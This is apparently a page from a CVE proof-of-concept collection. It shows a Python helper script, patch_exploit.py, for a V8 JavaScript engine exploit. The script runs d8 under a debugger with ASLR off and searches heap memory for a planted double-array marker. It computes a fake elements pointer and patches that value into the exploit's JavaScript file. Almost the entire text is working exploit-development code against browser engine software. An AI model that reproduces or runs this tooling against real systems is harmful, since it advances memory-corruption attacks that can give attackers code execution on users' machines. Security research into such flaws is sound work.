5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / patch_exploit.py PY
#!/usr/bin/env python3
from __future__ import annotations

import os
import re
import struct
import argparse
from pathlib import Path

from libdebug import debugger


ROOT = Path(__file__).resolve().parent

BACKING_VALUES = (13.371337, 37.1337, 73.7331, 31.3373)
DOUBLE_PATTERN = b"".join(struct.pack("<d", x) for x in BACKING_VALUES)


def read_map(d, start: int, size: int) -> bytes | None:
    try:
        return bytes(d.memory[start, size])
    except Exception:
        return None


def find_payload_hits(d) -> list[int]:
    hits: list[int] = []
    for m in d.maps:
        if "r" not in m.permissions or "w" not in m.permissions:
            continue
        if "[stack]" in str(m.backing_file):
            continue

        pos = m.start
        prev = b""
        overlap = len(DOUBLE_PATTERN) - 1
        while pos < m.end:
            size = min(0x100000, m.end - pos)
            raw = read_map(d, pos, size)
            if raw:
                data = prev + raw
                off = data.find(DOUBLE_PATTERN)
                while off != -1:
                    hits.append(pos - len(prev) + off)
                    off = data.find(DOUBLE_PATTERN, off + 1)
                prev = data[-overlap:]
            else:
                prev = b""
            pos += size
    return hits


def is_fixed_double_array4_payload(d, payload: int) -> bool:
    try:
        raw = bytes(d.memory[payload - 8, 8])
    except Exception:
        return False
    return int.from_bytes(raw[4:8], "little") == 8


def patch_final(js_file: Path, qword1: int) -> None:
    text = js_file.read_text()
    text = re.sub(
        r"const QWORD1_BITS = 0x[0-9a-fA-F]+n;",
        f"const QWORD1_BITS = 0x{qword1:016x}n;",
        text,
        count=1,
    )
    js_file.write_text(text)


parser = argparse.ArgumentParser()
parser.add_argument("d8_path")
parser.add_argument("js_file")
args = parser.parse_args()

d8_path = Path(args.d8_path).expanduser()
if not d8_path.is_absolute():
    d8_path = Path.cwd() / d8_path

js_file = Path(args.js_file)
if not js_file.is_absolute():
    js_file = Path.cwd() / js_file

env = os.environ.copy()
d8_out = d8_path.parent
env["LD_LIBRARY_PATH"] = f"{d8_out}{':' + env['LD_LIBRARY_PATH'] if env.get('LD_LIBRARY_PATH') else ''}"

d = debugger(
    [
        str(d8_path),
        "--allow-natives-syntax",
        "--expose-gc",
        "--maglev",
        str(js_file),
    ],
    aslr=False,
    env=env,
)
d.run()
gc_sym = d.resolve_symbol("_ZN2v88internal11GCExtension2GCERKNS_20FunctionCallbackInfoINS_5ValueEEE")
d.breakpoint(gc_sym)

for _ in range(4):
    d.cont()
    d.finish()

hits = [x for x in find_payload_hits(d) if is_fixed_double_array4_payload(d, x)]
if len(hits) <= 1:
    d.terminate()
    exit()

elements_tagged = hits[1] - 7
qword1 = 0x0000000400000000 | ((elements_tagged + 0x10) & 0xFFFFFFFF)
print(f"payload_addr = 0x{hits[1]:x}")
print(f"elements_tagged = 0x{elements_tagged:x}")
print(f"QWORD1_BITS = 0x{qword1:016x}")
patch_final(js_file, qword1)
print(f"patched {js_file.name}")

d.terminate()